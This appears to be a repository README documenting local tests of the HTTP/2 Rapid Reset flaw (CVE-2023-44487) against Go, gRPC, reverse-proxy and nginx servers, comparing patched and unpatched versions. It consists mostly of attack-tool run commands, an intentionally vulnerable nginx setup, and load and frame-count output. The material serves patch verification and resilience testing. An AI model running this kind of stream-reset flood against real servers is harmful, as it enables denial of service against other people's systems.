retocode/golang-cve-2023-44487Recursos de teste e ferramenta de ataque para CVE-2023-44487 (HTTP/2 Rapid Reset) para avaliar a resiliência do servidor em configurações Go, gRPC, proxy reverso e nginx.
Este repositório contém recursos de teste e resultados para o CVE-2023-44487. Ele usa uma versão modificada de https://github.com/secengjeff/rapidresetclient para testar várias configurações de servidor Golang.
go run server.go
go run attacker.go -requests 500000
go 1.21.0
350% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)
go 1.21.3
75% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
go run grpcserver.go
go run attacker.go -requests 500000
go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)
go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)
O atacante não chama realmente endpoints GRPC, então parece não haver diferença de comportamento com chamadas http2 'normais'. Não tenho muita certeza se isso é bom ou ruim, mas o servidor consegue acompanhar o tráfego.
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000
go 1.21.0
200% CPU load during the full attack
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)
go 1.21.3
150% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
Server log now contains 😎
2023/10/25 14:45:54 http2: server connection error from [::1]:60762: connection error: ENHANCE_YOUR_CALM
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000
Com configuração vulnerável
100% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)
Com configuração padrão
34% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)
O Nginx simplesmente para de responder a muitos quadros.